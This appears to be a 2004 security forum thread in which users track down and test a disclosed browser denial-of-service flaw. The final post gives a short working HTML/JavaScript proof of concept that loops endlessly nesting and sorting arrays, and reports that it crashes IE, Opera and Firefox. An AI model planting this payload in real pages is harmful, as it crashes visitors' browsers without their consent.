Results 1 to 8 of 8

Thread: Browser DoS

  1. December 2nd, 2004, 03:53 AM #1
    karmine
    karmine is offline
    Banned
    Join Date
    Jul 2004
    Posts
    119

    Browser DoS

    this is related to the new Infinite Array Sort Denial Of Service Vulnerability. has anybody found the source to this DoS. id like to look at it, as well test my my machine against this Infinite Array.
    Reply With Quote Reply With Quote
  2. December 2nd, 2004, 04:00 AM #2
    nihil
    nihil is offline
    Senior Member nihil's Avatar
    Join Date
    Jul 2003
    Location
    United Kingdom: Bridlington
    Posts
    17,188
    Can you give us a bit more detail......source documentation/site?

    AFAIK an infinite array is the same as an infinite table, or even division by zero?

    Sorry to be stupid, but you have got me interested............I must have missed it in the news

    Cheers
    Reply With Quote Reply With Quote
  3. December 2nd, 2004, 04:06 AM #3
    karmine
    karmine is offline
    Banned
    Join Date
    Jul 2004
    Posts
    119
    http://www.enterpriseitplanet.com/se...le.php/3442471
    Reply With Quote Reply With Quote
  4. December 2nd, 2004, 04:08 AM #4
    karmine
    karmine is offline
    Banned
    Join Date
    Jul 2004
    Posts
    119
    forgot to mention it affects most major browsers
    Reply With Quote Reply With Quote
  6. December 2nd, 2004, 05:45 AM #5
    littlenick
    littlenick is offline
    Senior Member
    Join Date
    Oct 2004
    Posts
    122
    youyr link says "The actual code required to crash the browsers has been publicly disclosed by Wever and contains only four lines of code"

    I tried searhing for that but could not find anything special thanks for information anyways.
    I didn't know that.
    nobody is perfect i am nobody
    Reply With Quote Reply With Quote
  7. December 3rd, 2004, 02:51 AM #6
    karmine
    karmine is offline
    Banned
    Join Date
    Jul 2004
    Posts
    119
    all i know is what i read in the article. it will crash your browser etc. and with 4 lines of code it could be anything, i mean i could write a c program to startup at boot and scroll lines of obscenities forever hehe. its not hard. but this is very interesting since its in the browser. i hope someone knows this flaw.
    Reply With Quote Reply With Quote
  8. December 3rd, 2004, 06:18 PM #7
    killerbeesateme
    killerbeesateme is offline
    Member
    Join Date
    Oct 2002
    Posts
    81
    I managed to find some HTML source and I checked a few browsers with it.

    http://www.edup.tudelft.nl/~bjwever/menu.php

    Seems that IE on WinXP Sp2 tells you its a stack overflow but doesn't crash
    Firefox crashes
    IE on Win 2k SP4 crashes

    thats as far as i've gotten so far
    enjoy the code
    Reply With Quote Reply With Quote
  9. December 3rd, 2004, 08:59 PM #8
    valhallen
    valhallen is offline
    Banned
    Join Date
    Sep 2001
    Posts
    3,444
    IE on XP pro sp1 - closes no warning
    Opera 7.54 (all on same OS) - closes no warning
    FireFox 1.0 - closes no warning

    all using
    Code:
    <HTML>
  <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
  <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
    v_Ln
    Reply With Quote Reply With Quote
« Previous Thread | Next Thread »

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

Forum Rules